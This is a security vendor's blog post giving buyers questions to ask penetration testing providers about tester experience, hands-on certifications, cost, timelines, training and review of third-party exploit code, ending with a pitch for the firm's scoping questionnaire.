Quality Penetration Tests: What Your Provider Won't Tell You

So, you’ve decided you need a pen test – and you have your requirements in mind. Now comes the process of finding your team to perform the test. As with any service or product, there are large variances in quality between vendors and individuals – so you’ll need to perform a balancing act. Below, we’ll walk through questions designed to help you assess the capabilities, experience, and ability of any prospective provider to meet your specific requirements. 

Your Team: Quality

Pen testing is often closer to art than science – you can hire ten different teams to test the same scope, and each may all come back with different findings. This is largely due to a variance in tester experience and testing methodology. Therefore, you’ll want to find a provider who matches your goals – consider asking them some or all of the below questions:

Are we guaranteed an experienced tester on this engagement?

In any field, it’s common for new or inexperienced employees to join an organization. An experienced penetration tester, in our view, is someone with at least two years of experience testing production systems and applications. Ideally, there will be at least one experienced tester per engagement. If the provider cannot guarantee this, it may be a sign to discuss pricing adjustments or consider alternative providers. 

Do you guarantee you will find all vulnerabilities? 

This is a goal that any provider should strive for, but one they should never guarantee. We stand by the fact that discovering all vulnerabilities, no matter the size of a system, is impossible. Likewise, exploiting vulnerabilities is even more difficult than finding them. If your provider states that all findings are guaranteed to be found, this is largely counter to the understanding of the pen test industry as a whole and should be strongly reevaluated.  

For some perspective, we can take lessons from open-source software projects. These projects are scrutinized by thousands of developers, security researchers, and even malicious actors. Yet, vulnerabilities are routinely being discovered in code which has been around for over twenty years. Vulnerabilities are also frequently uncovered within 3rd party dependencies, which ultimately impact even closed-source projects. Point blank: while there may not be vulnerabilities today, new ones can emerge in the future due to a myriad of circumstances. 

Do your testers have practice hands-on certifications, such as the OSCP? 

Many certifications labeled as being “pen test aligned” do not require candidates to perform hands-on testing as part of the certification process. We realize that this is a particularly contentious topic within the cybersecurity industry, but we’ve seen first-hand the quality that hands-on certifications deliver over observational certifications. Make no mistake, a “certified pen tester” can be akin to a “certified mechanic who has never touched an engine.” Therefore, we consider this a strong quality indicator if the penetration tester assigned to your engagement has a hands-on certification.  

There are too many (good and not-so-good) certifications to list here – but a great benchmark is the OSCP or BSCP. These industry-recognized certifications require participants to hack several machines within severe time constraints and are notoriously difficult to pass for most individuals.  

Your cost is significantly different from provider B. Why? 

Cost is an indicator of timeline, scoping and quality. Ensure that both providers are aware of the exact same scope, expected level of quality and timeline. Be aware that a short timeline combined with strict quality requirements will almost always result in higher costs. 

How fast will the test be conducted? 

If a timeline seems unusually short or long, ask the provider how many resources are being allocated. If the test is being accomplished in a short timeframe with few resources and a large scope, validate that the assigned resources have enough experience to justify the timeframe. Otherwise, it’s reasonable to assume the provider may deliver fewer findings or conduct a less thorough assessment. 

Do your testers conduct training or research regularly, outside of client work? 

The security industry evolves rapidly, with new attack vectors and techniques emerging frequently, so testers who focus solely on client engagements risk falling behind on the latest advancements. Ask prospective providers how they ensure their testers stay current—through certifications, internal training sessions, conferences, bug bounty programs, or vulnerable labs. Testers who actively expand their knowledge outside of client work are more likely to identify novel vulnerabilities and assess your systems using the latest techniques. 

When your team uses exploits or proof-of-concepts from a third-party source, do they review for malicious code? 

It’s not uncommon for Advanced Persistent Threats (APTs) to upload code to platforms like GitHub that appears to be legitimate exploits. If pen testers run such code without proper review, it could lead to data compromise—or worse, malicious code could execute directly on your system. To avoid this, the provider should have a strict policy to manually review all exploit code for malicious statements or shellcode before use. 

Next Steps 

Selecting a high-quality pen test provider is crucial to ensuring that your organization receives accurate and actionable results from its security testing efforts. By asking the right questions and carefully evaluating a provider's approach, timeline, resources, and contingency planning, you can make an informed decision about which team is best equipped to meet your needs. If you’re in the middle of this journey, know that Schellman is here to help – please take a moment to fill out our short pen test scoping questionnaire,  and one of our leaders will get with you as soon as possible.